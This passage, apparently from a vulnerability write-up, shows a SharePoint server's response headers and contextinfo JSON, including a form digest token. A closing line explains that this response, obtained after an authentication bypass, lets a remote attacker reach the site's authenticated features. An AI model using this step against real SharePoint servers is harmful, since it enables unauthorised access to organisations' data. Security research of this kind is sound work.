X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT

{"odata.metadata":"https://win-b0i6kv698ls/_api/$metadata#SP.ContextWebInformation","FormDigestTimeoutSeconds":1800,"FormDigestValue":"0x08350AA4E26C638120137515168806E0389312ED89151357A505BA8F1F7B4992AAAF9A15D4DD3D5E43ACADE857B5AE5BFFCA753401F5E5A0C3EB6F483E4188E2,21 Apr 2026 10:06:12 -0000","LibraryVersion":"16.0.19725.20210","SiteFullUrl":"https://win-b0i6kv698ls","SupportedSchemaVersions":["14.0.0.0","15.0.0.0"],"WebFullUrl":"https://win-b0i6kv698ls"}

With authentication bypassed, and with a valid form digest, the remote attacker can begin to interact with the authenticated attack surface of the target SharePoint site.